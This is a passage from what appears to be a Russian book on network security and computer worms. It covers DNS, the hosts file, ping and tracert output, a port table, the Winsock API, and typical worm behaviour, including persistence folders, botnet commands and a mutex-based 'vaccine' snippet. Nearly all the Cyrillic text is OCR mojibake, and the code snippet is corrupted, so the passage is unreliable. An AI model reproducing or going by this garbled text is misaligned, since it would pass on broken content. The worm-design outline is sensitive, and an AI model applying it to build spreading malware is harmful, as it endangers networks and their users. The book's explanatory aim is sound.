pa6 oTaiomeH h oTKJiMKaiomeiicfl Ha Bbi30Bbi MauiHHe. Pe3yjibTaTH uiokh- 
poBajin 3KcnepnMeHTaTopoB'. orpoMHoe kojihmcctbo aapecoB 0Ka3ajmcb 
<nycTWMH»- [56]. B 2011 r. 6mjio otJwmnajibHO o6 b«BJieHo 0 6  HcnepnaHHH 
aapecHoro npocTpaHCTBa HHTepHeTa, o/tHaKo cBo6 oaHbie aapeca, 3apa- 
Hee 3aKvn;ieHHbie npeanpHHMHHBHMH «cneKyjiHHTaMii», cBoSoaHo npo- 
aaioTCfl h npHofipeTaiOTCsi Ha phiHKe b aocTaTOHHbix KOJimecTBax. M o*eT  
6 bm>, He ctoh t noKa ToponiiTbca c BBeaeHHeM «IPv6 »?

6.2 .4 . CMMBOilMHeCKMe HMeHa AOMeHOB
llH^jpoBbie aapeca y3JioB HHTepHeTa TpyaHO 3anoMHHaTb, n03T0My co- 
BMecTHO c ripoTOKOJioM IP uiHpoKO HcnoJibsyeTca cJiyacSa DNS. OaKTH- 
necKH OHa noaaepacHBaeT rn6miubi, b KOTopwx VKa3aHbi cootbctctbhh 
Me*ay IOI«J)pOBblM aapeCOM H CHMBOJIbHbIM HMeHeM y3Jia.

127.0.0.1 lo ca lh o s t
213.180.204.11 www.yanflex.ru
216.239.59.99 www.google.ru

IIoao6HaH Ta6J’nma hmcctch Ha Ka»caoM KOMiibJOTepe, b «C:\
Windows\hosts» hjih «C:\WinNT\System32\Drivers\etc\hosts», n 
hmchho OHa Hcno.!ib3yeTCH b nepByio oyepeab hjih onpeaeJieHHH uHcjjpo- 
Boro aapeca no cHMBOJibHOMy. ITpaBaa, no yMOjraaHHio OHa nycTa (ecjm 
KTO-HH6yab -  caM n0/rb30BaTe.’ib hjih KOBapHbiH BHpyc -  He BHec Tyaa 
HyacHbix CTpoK), h noaTOMy ceTeBbie nporpaMMbi npincnaaHoro ypoBHa 
oopamatoTca 3a noMombio k cneuiiajrbHbiM DNS-cepBepaM, KOTophie co- 
aep^caT aecHTKH H cothh racHH, a HHoraa h mhjijihohh noao6Hbix 3anH- 
ceii. B 6a3ax aaHHbix DNS-cepBepoB coaepacaTCH «CTpoKH> pa3JiHHHbix 
thiiob: «A »  onpeaejmioT cooTBeTCTBiie ciiMBOJiH'iecKoro h Hiic.noBoro 
aapecoB; «N S » yKa3KTBaioT Ha apyrne DNS-cepBepu; «M X » cootbct- 
ctb v io t noHTOBbiM aapecaM; <<CNAME» onpeaejinioT nceBaoHHMbi rjisi 

aOMCHHblX HMeH H T. n.

http://www.yanflex.ru
http://www.google.ru
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CHMBOJiHHecKoe hmh, KpoMe yao6 cTBa 3anoMHHaHHH, cntyacHT eme 
fljiH opraHH3auHH rrepBHHHoft H epapxH H  ceTeBbix pecypcoB. TaK, caMMH 

npaBbitt KOMnoHeHT HMeHH yKa3biBaeT Ha ran pecypca hjih rocy^apcTBO, 
KOTopoMy pecypc npHHa,zure;*HT (HanpHMep, .ru -  Pocchh, .ua -  YK pa - 

HHa, .com -  KOMMepHecKaa opraHH3anHH, .org -  HeKOMMepnecicafl opra- 
HH3anHa, .net -  ceTeBOH npoBaftflep, .edu -  yne6 Hoe 3aBe#eHHe h t. n.). 
OcTajibHbie sjieMeHTbi Moryr Toace 6biTb «roBopamHMH», TaK, HanpHMep, 
caHT www.antivir.ru npHHa/uiejKHT KOMaitae aHTHBHpyca DrWeb. Bnpo- 
MeM, 3a «»capeHbiMH» /joMennbiMH HMeHaMH ujieT  6 ojibiuaa oxoTa, hx npo- 
aaro'r h nepenpoflaioT, TaK mto nopofi hmh cairn roBopHT TOJibKO o tom,
hto ero B.iiaae.’ieu He npo'ib 3aMaHHTb k ce6 e Ha pecypc no6 o;ibiiie noce-
THTejiew, Hcn0.>ib30BaB coBepuieHHo «.TCByio» araKency.

n PH opraHH3aaHH ceTeBOH 3amHTM HepeflKo npuxoflHTca pernaTb 3a- 
a m y  onpefle.neHHH peajibHoro MecTonojioaceHna h npHHa/yiejKHocra pe
cypca no CHMBOJIHHeCKOMy HMeHH.

YmJiHTa Ping (oHa ecTb u  b Windows, h b U N IX ) hosbojiht hc TOJibKO 
onpeaejiHTb KanecTBO CBH3H c VKaaaiiHbiM y.3JiOM, ho h coo6 iiiht ero mi(j> 
poBoii IP-aapec:

Qomsh naKexaMM c «m w . v i r u s  c o s  [2 0 7 .9 7 .2 1 6 .2 1 1 ]  no 32 (SaftT:
Otbbt ot 207.97.216 211: mhcjio 6afiT=32 bp8mh=299mc TTL=58
Oxeer ot 207,97 216.211: 4i/icno 6aiVr=32 epeMS=258MC TTL=68
apeMR o*MflaHM(i aanpoca ncTerjio.
OTB0T ot 207.97 216.211: Miic.no 6a#T=32 BpeMq=255MC TTL=58 
CT3TH0TMKa Ping fliiq 207.97 216.211:

(laKeTos: nocnano = 4, nonyu.eHo = 3, noiepfwo = 1 (25% noTept), 
npM6jin3MT8JibH0e BpGMfl neoenaMn n npnewa:

HanMenbiuee = 255m c , Han6onbuiee = 299m c , cpeflH.ee = 270«c

Yra^HTa Tracert (ee UNIX-aHajxor Ha3biBaeTca Traceroute) noKaace/r 
nvTb nepe3 MapiupyTH3aTophi BceMHpHOH nayniHbi, Be^ymnii k yKa3aH- 
HOMy pecypcy:

IpaccnpoBKa wapaspyTa k wwvi.virus.com [207.97.216.211] 
c MaKOMManbHbiM mmc/iom nepexQAOB 30.

1 257 MC 267 MC 245 MC 89.186. 244.60
2 388 MC 252 MC . big.ssa u .ru  [89.186 244.24]
3 248 MC 244 MC 244 MC 89.186. 225.241
4 243 MC 244 MC 285 MC sna15.sma22. transte leco ir net [217.150.61 142]
6 303 MC 340 MC 301 MC adm-ol- link.telia net [213.248.78 .73]
6 487 MC 303 MC 300 MC ade-bb2- l in k . t e l ia . n e t  [S u .91.252.22]
7 518 MC 333 MC 362 MC ldn-bb2 -pos7-2-0 te l ia .n e t  [213.248.65.1 57]
8 « 384 MC . ash-bo1 - l in k . t e l ia . n e t  [2 1 '3 .2 4 8 .6 5 .2 1 0 ]
9 414 MC 425 MC 390 MO rackspa ce-106764-ash-bb1. c t e l i a .net

[213.248.38.118]
IQ « 514 MC 441 MC vlan901 core ' iad1 rackspace com [S9.20 1.10]
11 396 MC 405 MC 394 MC aggr5a iad1. rackspace.com [69.20.2.19]

http://www.antivir.ru
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H  HaKOHen, M H oroH H oieH H bie H H TepneT-ca iiTU , npeaocTaBJiHKHUne 

y cJ iy ry  « w h o is »  (H anpH M ep, h ttp : / / w w w .w h o is .co m '). o o 3B o jih t y 3HaTb 

p ea jib H oro  B jiaae jibu a p ec yp ca  h  e ro  ociioB H b ie  xapaKTepHCTHKH:

Domain Name: VIRUS.COM 
R eg is tran t [21027]:
Garry, Chernoff 
Netlncoine Ventures Inc 
345 Lower Bench Road 
Penticton
B.C.
V2A8V4
CA

B n pon eM , He yziHBJWHTecb, e c jw  s t o t  cepBHC oTKaxe/rcn c o o d ih h t l  

aaHHbie o  Bjia/te/ibue KOHKpeTHoro c a in a  h jih  c o o o iu h t  o  HeM icaKyio-HH- 

6 y flb  Hyuib. /leJio b  to m , h to  opraH H 3auHH, perH C Tpnpyiom H e ao.MeHHbie 

HMeHa, Ha caMOM zie jie  He o 6 « 3aHbi npe/tocTaB.MTb HH(j>opMau.Mo o  c b o h x  

K jiHeHTax nepBOM y BcrpeHHOMy.

6 .2 .5 . KjweHTbi m cepBepbi. riopTbi
HaMHHan c TpaHcnopTHoro yp osm , npaicrHHecKH Bee B3aHMoaencTBHe 

Meacay KOMnoHCHTaMH, peaJiH3yiomHMH to t  hjih hhoh npoTOKOJi, BeaeTCH 

b pe>KHMe «KJiHeHT-cepBep». 3 to  3HaHHT, hto Ha oahom y3Jie ceTH npn- 
cyrcTByeT cepeep, yMeioiHHif BbinojiHHTb onpeaejieHHbift Ha6op <f)VHKiiHH 

h cnoco6Hbrii BocnpHHHMaTb HeKOTopbiH Ha6op ynpaBJiHioiuHx 3anpocoB 

hjih KOMaH/i, a Ha apyroM _V3Jie -  KJiuenm, KOTopwii xoner nojiyHHTb ot cep- 
Bepa HeKyio ycjiyiy h /inn aroro nocwjiaeT eMy ynpaBJinioiUHe KOMaHaw.

THiiHHHbiH KJiHeHT -  3t o  npHKJiaaHan nporpaM M a, KOTopan n oM oraeT  

n o a b 30BaTeJiio noJ iynarb  a o c T y n  k  cereBM M  ycjiyraM. H anpH M ep, non- 

TOBbie K jm eH TH  -  3t o  nporpaM M bi T im a  O u t lo o k  E xp ress  h jih  T h e B a t ,  

a W W W -K J iH e H T b i -  « 6 p ay3e p b i»  r a n a  In te rn e t  E xp lo re r , N e ts c a p e  

N a v ig a to r/ C o m m u n ic a to r ,  O p era , F ir e fo x  h  t .  n.

TunHHHbiit cepB ep  -  s t o  oT n e jib n a a  3aaan a ( t o  ecTb n p o u ecc  h jih  n o- 

t o k  H eK O Toporo n p o n e cc a ), iioctohhho  H axoaam ancH  b naMHTH KoM nbio- 

Tepa h  p ea rH p y iom a a  Ha npH X oaH iune h sb h c  n o  c e n i  3anpocb i. B  o n e - 

p am ioH H o ii CHCTeMe W in d o w s  OHa o6h hh o  o^ opM J in eT ca  KaK a i y x 6a 

( s t o  noHHTiie irdM yace BCTpenaJiocb n p n  loy 'ieH H H  W in d o w s -B H p yc o B ), 

a b U N IX - n o a o 6Hbix cHCTeMax TaKHe 3aaaHti Ha3biBaioTCH «de.MOHaMU». 

K oM iib ioTep , K0T 0pbiH cn em ia ab H o  Bbiae.nen a jm  xp an em iH  cexeBbix ;ian - 

Hbix (HanpiiM ep, W W W -C T p a iiH H e K  n m  c fm ijioB  c ito h to b h m h  am HKaM ii)
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h  Ha kotopom  <noflHHTbi» ( t o  ecTb 3anymeHbi) 3aaaHH-cepBepfai, o6miiho  

TaK h  Ha3faiBaercfl — cem eebiM  iijih  u nm ep H em -cep eep oM . BnponeM, h Ha 

o6mmhom n0Jib30BaTejibCK0M KOMnbK)Tepe no yMOJinaHHio 6biBaeT aany- 
meHO HeMajio ceTeBbix c jiy *6 , KOTOpbie BeayT ce6a KaK cepBepbi!

B naMHTH o/iHoro KOMnbiOTepa Moryr 0/iH0 BpeMeHH0  «KpyTHTbCH» 
MH0 *ecTB0  cepBepHbix 3aaay. U n a  Toro hto6h  hx pa3JiH*iaTb, Kaacfloft 
npHCB3HBaeTCH yHHKajIbHMH HOMep, KOTOpblH Ha3bIBaeTCH HOMepOM nop- 
m a hjih npocTo nopmoM. B 3aro>ioBKe TCP- hjih U D P-naneTa, npnxoflH- 
mero no cera h ^npHHoc^mero c co6 oh» 3anpocw h ziaHHhie, o6n3aTejibHo 
flOJUKeH 6 brrb yKa3aH HOMep nopTa, to  ecTb cJjaKTHHeckh HfleHTH(J)HKaTop 
cepBepa, ajih KOToporo s to t naKeT npe;ma3HaMeH. Hy h, ecTecraeHHo, 
B 3arojioBKe aojiaceH npHcyTCTBOBan> h HOMep KJiHeHTCKoro nopTa -  Kjyia 
OTBenaTb.

JXjisi 6ojibiuHHCTBa THiiHTObix ceTeBbix cjiyac6 HOMepa nopTOB jih6o  

CTaHflapTH30BaHbi (c 0 no 1023), jih6o 3ape3epBHpoBaHbi 3a nonyjiHpuw- 
MH CeTeBblMH npHJIOJKeHHHMH (C 1024 no 4095). Bot HeKOTOpbie HX HHX 
(cm . Ta6ji. 6.1).

Ta6nmta 6 .1 . Hau6onee n o n y jia p H b ie  nopru

nopT Tun
naiceTa CjiyxGa

7 TCP/UDP 3xo
20, 21 TCP FTP -  nepe/iana tpatinoB
23 TCP Telnet -  BupTyanbHbitf TepMtwan
25 TCP SMTP -  nepe^asa 3/ieicrpoHHofi noHTbi
53 UDP DNS -  c/iyxSa floMeHHbix MMeH
69 UDP TFTP -  ynpomeHHaq nepeAana cfiati/iOB
80 TCP HTTP -  flocTyn KWWW-CTpaHnuaM
110 TCP POP3 -  npocTofl npneM aneicrpoHHofl nombi
119 TCP NNTP -  flocryn k rpynnaM HosocTetf
123 UTP NTP -  cJiy*6a ceTeBoro BpeMeHU

135 TCP RPC -  pacnpefleneHHbiw flocTyn k KOMnoHemaM OC
137 ,138 ,139 TCP flocryn k NetBIOS nepe3 TCP/IP m NBT
143, 220 TCP IMAP -  npneM a/ieicrpoHHOtf nosTbi
161 UDP SNMP -  c/iyxe6Hwe aanpocw
194,6667 TCP IRQ -  «HpKa»
443 TCP HTTPS -  3amnmeHHbifi flocryn k WWW-cTpaHMU,aM
445 TCP/UDP npflMofi flocTyn k NetBIOS cpeflCTBaMU TCP/IP
500 UDP ISAKMP -  c/iyxSa o6MeHa uncfipoBbiMn

cepTHtt>MKaTaMM
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Ta6 /tH u a  6 .1 .  H a u 6 o / ie e  no ny /tnpH b ie  n o p r u  (OKomaHMe)

nopT Tun
naiceTa CnywSa

512-514 TCP EXEC, LOGIN, SHELL -  yflaneHHoe ynpaB/ieHue 
KOMflblOTepOM

546,547,67,68 UDP DHCP -  flMHaMMHecKoe Ha3HaneHne IP-aflpecoB
989-995 TCP SSL/TLS -  3amnmeHHbie BapnaHTw MHTepHeT- 

npOTOKO/lOB
1433, 1434 TCP flocryn k MS SQL
1900,5000 TCP/UDP UPNP -  yHMcJjMunpoBaHHoe o5c/iy>KHBaHMe Plug-and- 

Play
3128,8080 TCP/UDP nojibaoBaTe/ibCKne Proxy
3306 TCP flocryn k MySQL
5190 TCP ICQ -  «Act>Ka»

TaKHM o6pa30M, ecM  Ha KOMnbroTepe 3anymeHa saflana, npHHHMaio- 
iyan TC P- hjih UDP-naKeTbi c onpeaejiemibiM H0 Mep0 M nopTa, to 
cHHTaeTcst, mto aaHHWH nopT « 0TKpbiT». B pojni «OTKpbiToro» nopTa 
MoxeT BbicTynaTb He TOJibKo KOMnoHeHT onepauHoiiHDH ciictcmw hjih 
jierajibHo npoHHCTaJiJiHpoBaHHaa n0Jib30BaTejieM cepBepHaa cjiyac6 a, 
ho h «bhchiuhh» b naMHTH BHpyc. «3aKpbiTb>> nopT MOJKHO, npiiHy/jH- 
TeJibHO 3aBepuiHB cooTBeTCTByiomyio 3aaaMy (mto o'tefib He peKOMeHfly- 
eTCH zieJiaTb, HanpHMep, c chctcmhumh nponeccaMii rana «LSASS» hjih 
«S V C H O S T ») hjih 3a6 jioKHpoBaB aocTyn naKeTOB k Hen npn iiomoihh
4)aHpBOJiJia ( 6 paHHMayapa).

CnHCOK OTKpblTbIX n0pT0B MOJKHO nOCMOTpeTb Ha CaMOH MaiUHHe npH 
noMomn KOMaHflbi «Netstat -a» (hjih «Netstat -o » -  /yin Windows N T ). 
OneHb yao6Ha ajih sthx uejieii yTHJiHTa T C PV iew  ot Syslntemals. Ecjih 
X C  HHTepecyeT CIIHCOK OTKpblTbIX n0pT0B. BHflHMbIX «CHapyjKH», to mojk- 
ho B0cn0Jib30BaTbcH KaKHM-HH6yflb cKaHepoM nopTOB rana Nmap hjih 
Xspider, a TaioKe HHTepHeT-pecypcoM Bpoae http: //securitv.svrnantec. 
com hjih htt.p://scan.svgatetech.com.

6 .2 .6 . CeTeBoe nporpaMMMpOBamie.
liHTep<t>eMC COKeTOB
IlpHMoe o6 pamemie k apaiiBepy ceTeBoro aaanrepa hjih ceTeBoit noztcii- 
CTeMe onepanHOHHOH chctcmh BecbMa cjiojkho. HoaroMy ju\» /lociyna 
cjiv»c6 h npHKJiaflHux nporpaMM k cera ncnoJib3yeTCK VHHBepcaJibHbiH 
nporpaMMHbiH HHTepcjaeHc coxemoe. IIoJib3yioTCfl hm h ceTeBbie c.nyjK6w. 
OnepanHOHHOH chctcmm, ii npiiKJiaziHbie nporpaMMbi... aa ii BHpycw -ro>Ke 
He 6pe3ryioT.
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OaKTHMeCKH COKeT -  3T0 HeKHH a6cTpaKTHbIH odteKT, HrparomHH pOJIb 
«flBepH»-, Hepe3 KOTOpyiO nporpaMMHMH KOMIIOHeHT MOJKeT npHHHMaTb H 
nocbUiaTb aaHHbie. KajK^WH coKeT b nponecce co3flaHhh h  HHHUMajiii3a- 
UHH acecTKo npHBH3biBaercK k 0npe/tejieHH0My IP-aapecy h nopTy, KpoMe 
Toro, fljut Hero yKa3UBaerca cnoco6 nepeaaHH aaHHWx:

O  oTfle^bHbiMH aeirrarpaMMaMH (no np0T0K0;iy UDP);
O  c ycTaHOBJieHHeMnocrosiHHoro coeaMHeHHH (no np0 T0 K0 Jiy T C P );
O  c «pyHHHM» 4>opMHpoBaHHeM cTpyKrypbi nepecwjiaeMoro naKeTa 

(b  Windows sto t cnoco6  peajirooBaH b cnjibHo ype3aHHOM BHne).
IlepBOHaHa.ribHo coKerbi 6 buiH pa3pa6oTaHH h pea;iH30BaHbi cnei;na- 

jihctomh YHHBepcHTeTa BepKJiH b OnepanHOHHOH CHCTeMe BSD UNIX. 
3Ta peajiH3aipm npaKTOHecKH 6e3 H3MeHeHHH riepeKOHeBajia Ha Bee 
UNIX-noflo6Hbie chctcmm. KpoMe Toro, HHTeptJjeHC coKeTOB OKaaajiCH 
HacTOJibKO yAo&Hbi.M, hto nporpaMMHCTbi cJ)HpMM Microsoft C03fla;iH ero 
aHajiorn He TOJibKO ^iia Windows (sTa no/icHCTCMa nojiyirajia HaHMeHO
BaHHe Winsock), ho h ana MS-DOS!

O£H0BpeMeHH0  Ha KOMiibioTepe MoryT npHcyTCTBOBan. HecKOJibKO 

BepcHH noACHCTe.vibi WinSock. Ochobhoh Ha6op cepBiicHbix c^vhkhhh, 
cooTBeTCTByioinHX BepcHH 1.1, coflep^uiTca b 0 H6 jiH0TeKe «W SO CK32. 
D LL ». Bojiee «npo,aBHHyTaa» BepcHH 2.2 (oHa Hcnojib3yeTC5i, HanHHan 
c Windows OSR-2) pacnpe^ejieHa no 6ii6jraoTeKaM «W S2_32 .D LL» h 
«M SW SO C K .D LL>. BnponeM, b Bepcrni 2.2, no cpaBHemiio c 1.1, He
TOJIbKO nOHBH.THCb HOBbie CpeflCTBa, HO TafOKC paa V#o6hMX II npHBblH- 
hhx hjih nporpaMMHCTOB (jjymajHH 6mji yaajieH. He yziHBHTeJibHO n03T0- 
My. hto HeKOTOpbie ceTeBtie BHpycw Hcnojib3yioT bo3mo»chocth o6 enx 
BepcHH, HMnopTHpya (J>yHKUHH H30 Bcex Tpex 6h6jihotck.

Ilpn  opraHH3auHH ceTeBoro o6MeHa name Bcero npHMeHsieTCH cpaBHH- 
TejiBHo He6ojibiuoH Ha6 op cepBHCHwx (^vhioihh:

O  «W SAStartup» -  niiHnnajiH3npyeT pa6oTy c coKeTaMH;
O  «W SACleanup» -  OTMeraeT HHHUnajnraauHEo noacucTeMbi co-

KeTOB;
O  «socket» -  cosaaeT 0 6 'beKT rana «cokct»;
O  «closesocket> -  yHHHToacaeT 0 6 'beKT rana «cok c t»;
O  <bind» -  npHB«3WBaeT coKer k KOHKpeTHOMy nopTy h a/ipecy;
O  «listen» -  npocJiyuiHBaeT «3(|)Hp», oacimasi 3anpoca;
O  «accept> -  ycTanaBJuiBaeT CB»3b co CTopoHbi cepBepa;
O  «recv«. hjih «recvfrom» -  cniiTbiBaeT npHmefliime aaHHbie;
O  «connect> -  nbrraeTea ycraHOBHTb coejumeHHe c cepBepoM;
O  «send» hjih «sendto» -  nepeaaeT aaHHbie.
IlpaKTHHeCKH Becb CeTCBOH OOMeH MC/K/IV KJIH6HT3MH II CCpBepa.MH 

yCTpoen IIO OflHOH H TOH 5K0 CXe.MC (CM. pHC. 6.2).
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KnxenT Cspsep

Kamii?

fla
I     ......
I dosesocket()

   1......
| WSACieanupj) |

Koneu?

"fla
dosesocketQ |

WSACIeanupO

P m c . 6 . 2  ❖  AnropuTM KJineHT-cepBepHoro B3anMOAeficTBHR

Ba>KHyio po .ib  HrpaioT TaioKe (JjynKiiHH «h to n s ». «h to n l» , «n to h s » h  

«ntohl>>, MeHaiomiie nopaaoK  SaiiTOB b  aaHHUx. J le n o  b  tom, mto b ccthx  

npiiHHT nopaziOK 6aiiTOB, oopaTHbifi HcnojibayeMOMy b npoueccopax Intel.
B Windows Tajotce hmctotch CTan/iapTHbie 6n6jiHOTeKii (HanpHMep, 

«MPR.DLL»), npeaocTaB.TOFoiUHe nporpaMMHCTaM 6ojiee BbicoKoypoB- 
HCBHe CepBHCHWe (|)yHKUHH, TaK MTO BCH pa6oTa C COKeTaMH CKpblTa 
BHyTpH HHX.

6.3. TnnoBbie crpyiaypa 
u noBeAeHMe nporpaMMbi-nepBfl

...M momuac ta  Mymmu ecneneuHou eodu eu- 
Hupnyjiu u Kuuyjiucb decsimKu ocKaimmhix sy- 
6acm ux nacnieu...

A. h  B. CTpyraijKHe. «noJMem>, XXI I  BeK*>

TmiHMHbm coBpeMeHHbiii MepBb ripe/icTaBJiHeT co6 oh aBTOHOMHyro npo
rpaMMy, BbinoJiHfliomyiocfl b 32- n 64-pa3psytHbix BepcHHX Windows. On
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He 3apa>icaeT roncaKHX apyrux nporpaMM, ri03T0My Tpe6oBaHHe KOMnaKT- 
hocth  KOfla ajiH Hero He cjihiukom aKTyaJibHO. B ooJibiUHHCTBe cjiynaeB 
oh flaace nmueTca Ha KaKOM-HHoy/ib a3bnce bhcokoto ypoBHa -  Ha C, 
Delphi, Visual Basic h t .  n. ^ to 6 h  3aTpyflHHTb pa6oTy BHpyco/iory, 3Jio- 
BpeflHaa nporpaMMa HacTeHbKo o6pa6aTbreaeTca KaKHM-Hn6yflb BHeui- 
hhm ynaKOBmiiKOM hjih uiHc})p0 BmHK0M THna AsPack, AsProtect, UPX, 
PECompact, PE-Crypt, tElock, Armadillo a  t. n., a to  h HecKOJibKHMH 

cpa3y.
06biHHO  nporpaMMa-HepBb He HMeeT OKHa ( t o  ecn> b Hen OTcyTCTByroT 

BH30BW (J)yHKUHH «RegisterClass» h «Create W indow*) h npeacTaBJiaeT 
co6 oft nocTOHHHO HaxoflHiUHHca b naMHTii npouecc. BaacHoii oco6eHHo- 
CTbK) 6 oJIbIUHHCTBa HepBeH HBJMeTCH HX MHOrOIIOTOHHOCTb: 3JIOBpeflHaH 
nporpaMMa o<|>opMJiaeTca b BHfle HecKOjibKHX 3annKJieHHbix noTOKOB, 
KaayjbiH H3 kotopmx HenpepbiBHO BbinojinaeT onpe/ieJieHHyio onepamno. 
Ochobhmx onepauHH flBe:

O  «3aKpeiuieHHe> Ha KOMnblOTepe, mtooh o6ecneMHTb ce6e aBT03a- 
nycK npn KajK^OH nepe3arpy3Ke;

O  pacnpocTpaHeHHe no ceTaM Ha apyrne K0Mnbi0 Tepbi.
H o BCTpeMaiOTCfl HepBH, KOTOpwe BbiriojironoT Maccy zipyrHx « bciiomo- 

raTeJibHbix», TiirrnqHO ipoaHCKiix onepamin:
O  0 6 H0 BjieHHe ce6 a no cera c y/iajieHHbix MaiiiHH;
O  paccbunca «cnaMa»;
O  c6op h OTCMJiKa BHpyconHcaTeJno-«xo3HiiHy» KOH(J)HaeHnHajib- 

Hbix CBe/jeHHH o MauiHHe h ee xo3aHHe;
O  BbinoJiHeHHe KOMana, ripHxo/iamHx ot BHpyconHcaTejia-«xo3aH- 

Ha» hjih ot apyroro 3K3eMiuiapa nepaa, rana -  «CTepen> TaKoS-To 
(J)aHJi», 4nepeaapecoBaTb TaKOH-TO TCP-naKeT», «nocjian> 3anpoc 
no TaKOMy-TO IP-aapecy» h t . n.

liocjieflHaa rpyim a onepauHH xapaKTepHa zuia TaK na3biBaeMbix «3om- 
6npoBaHFfbix» MauiHH, Bxoaamiix b cocTaB « 6oTHeTa» -  rpynnbi 3apa- 

5KCHHbIX MaiUHH, COBMeCTHO BbinOJIHHIOIHHX KaKHe-Jin6o He npeayCMOT- 
peHHbie xo3fleBaMii, ho Heo6xo/WMbie 3JioyMbiuiJieHHiiKaM aeiicTBHa.

M H oronoTO H H ocTb  MepBH oaHanaeT, m to oTaejibH b ie o n ep a u n n  Bb inoji- 

H a ioTca  HecKOJibKHMH noTOKaMii («H H T a M H »),  HanpHM ep o/inn H3 h h x  

pacch m aeT  4>aii.?i HepBa n o  M aiim naM  jioK a jibH o ft c e ra , a p y r o f t  a e . ia e r  t o  

ace caM oe cpeacTBaM H 3/ieKTpoHHOH noMTbi, TpeTHH n b iTaeTca  n o ,io 6 paTb 

n ap o jib  k x o c t v  i i  t .  n. -  cm. p iic . 6.3.

06biHHO BnpycHbin nponecc npn nepBOM 3anycKe B3B0/hit (});ia>KOK 
CBoero HajiHHHa naMaTH npn noMomn MexaHH3Ma ceMacfjopoB h/ih Mbio- 
TeKcoB. n PH noBTopiibix 3anycKax on upoBepaeT coctomhhc: (JwiaacKa h
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Pmc. 6 .3 ❖ TMnMHHbiM anropmM pafioTbi ceTeBoro nepBfl

npeKpamaeT pa6oTy, ec/m Kom ia BHpycHoro npouecca yxce «cn aH T » b  n a 
MHTH. O xcioaa  BbiBoa: 3HaH hmh CHHxpoHH3Hpyiomero o6teKTa (H anpH 
Mep, o/ina H3 BepcHH HepBH W o r m .W in 3 2 .0 p a s o f t  co3aaBajia MbioTeKC 

«G u s ta v o D is t> ),  mo>kho 3anycTHTb cboh  «BaKUHHHpyioinHH» npouecc, 
KOTopbift He nycTHT «3JioBpeaa» b naMHTb.

HANDLE h;
h = CreateMutex( NULL, TRUE, "GustavoDist" ); 
i f  ((GetLastError()~ERROR_ALREADY,EXISTS)!|(!h)) {
Messagesox(0, "Worn s ta rte d  a lre a d y !", "A la rm !", 0); 
e x it ( 0 ) ;

}
w nile  (1 ) { i i  BeckOHeMHHfi umkji 

S leeo(O);
}

IIotokh BHpycHoro npouecca p a 6 oTaioT  napajijie.>ibHO, BbinojiHHH 
b oecKOHe'iHOM uhkjic HeKHe onepamm. HanpHMep, Hepab moxcct KonH- 
poBaTb ce6a Ha Bee MauniHW JionajibHon ceTH. M a n  nocbuiarb ce6 n b BHae 
nncbMa no oripeaejieHHOMV cmicKy aapecoB. IIotom eme pa3... H eme... 
H  TaK ao 6ecKOHe>)HOCTM. TaKHM 06pa30M, ecjin b h  chzihtc 3a KJiaBnaxy- 
POH nOHKJXKJMeHHOH K CeTH H aTaKyeMOH MaiUHHH, TO yHHHTOKCHHe oo- 
HapyaceHHOH Ha /ihckc kojihh nepBH ripHBeaex jimmi, k TOMy, hto nepe3 
HeKOTopoe BpeMH noHBHTCH HOBan ero koiihh. Hjih npwaex eme oaHo 3a- 
pa^ceHHoe nucbMo. OSbiHHbiii aHTHBHpyc, a a »e  pa6 oxaromiiH b pe*HMe 
MOHHTOpa, He cnaceT o t  noHBJieHHH ceTeBoii <s3apa;ii>i». rioa/ino yh h h xo - 

acaTb ee, Koraa ona y * e  npHWJia h j i o k i i t  Ha ancKe b Biiae cfjaiijia, ee naao 
6 jioKHpoBaTb eme «b iivth * -  npn iiomoihh cJmipBOJuia ( 6 paHaMayapa).
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npeflIIOJIO*HM, HTO MepBb yJKe KpyTHTCH B naMHTH MaiUHHM, H MbI 
<rjja3KaMH» bhahm ero b o/ihom H3 KaTaJioroB ancKa. IlycTb, ZiJiH 
onpeAeJieHHocra, sto 6yaer Net-Worm.Bozori.b (oh ace Zotob.b). H 3- 
jno6 jieHHbiMH MecTaMH, Kyaa ceTeBbie nepBH KonHpyioT CBoe tcjio. hbjih- 
iotch:

O  KopeHb ancKa «C :\»;
O  KaTajiorn OnepanHOHHOH CHCTeMbi «C:\W indows» hjih «C:\

W inN T»;
O  cHOTeMHbie KaraJiorH «C:\W indows\SYSTEM » hjih «C:\W inNT\ 

SYSTEM32»;
O  KaTajioni aBT03anycica, HanpHMep «C:\Documents and Settings\ 

Default User\DiaBHoe MeHK)\llporpaMMM\ABT03arpy3Ka»;
O  KaTajiorn BpeMeHHux (JjanjioB «C :\TM P», <<C:\TEM P», «C:\ 

Windows\TEM P »  h nponne;
O  KaTajiorn yaaJienHbix (^afijioB «  C :\ R E C Y C L E D  » ,  «C :\

RECYCLER», «C :\$RECYCLE.B IN » h t . n.
IIocjieaHHe flBe rpynnbi KaTaJioroB «xopoum» TeM, hto ana 3amiCH 

b hhx He TpeSyeTCH HHKaKHX npiiBHJierHH. Jlrooaa nporpaMMa, 3any- 
meHHan o t hmchh jiio6oro n0Jib30BaTeJW, cnoco6Ha pa3MemaTb TaM cboh 
4>aHjibi aaace b vc.jiobhhx acecTOHannie HacrpoenHofl nojniTHKH 6e3onac- 
HOCTH.

O6biHH0 4>aftji nepBH HMeeT «CBejKyio» flaTy co3namiH h KaKoe-HH- 
6yflb 4nceB30CHCTeMH0e » hmh. HanpHMep, ana Net-Worm.Bozori.b sto 
«W IN T B P X .E X E ».

C: . .  \ PasMep flara
winsta d l l 39184 19.06. S3
winstrn d l l 21776 19.06.03
IWIiUiIiT^gTTa 10878 10.12.05
wintrust d l l 166160 19.06.03
winver exe *368 19.06.03
uiziigr exe 27408 19.06.03
ukssuc d ll 98664 19.06.03
wlbs exe 30992 19.06.03
wlbsctrl d l l 26896 19.06.03

wintbpx.exe 10878 10.12.05

Pmc. 6.4 ❖ HepBb Bozori b KaTajiore 
C:\WINNT\System32

lloaTB epauTb  riojioapenne noMoaceT HaJiiiHHe o^HOHMeHHoro nponec- 
ca b naMHTH KOMnbiOTepa (cm. pnc. 6.5).
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npmTOKeww flpoueccbi | EbKTpogeHCTBHe |

M M «o6pa3a 1 p id | un| Bpenn U fl | flaMflTb 1 ▲

tcp svcs .exe 612 00 0 :00:02 5  236  KB
svch os t.exe 632 00 0 :00:03 11 072  KB
ls s rv .e x e 676 X 0 :00:00 1 740  KB
i&403r.sys 704 00 0 :00:00 1 0 9 2  KB
r e g s v c .e x e 736 00 0 :00:00 836  KB
m stask.exe 856 00 0 :00:00 3 532  KB
w in s.exe 952 00 0 :00:02 4  624  KB
reged fc .exe 964 00 0 :00:01 168 KB
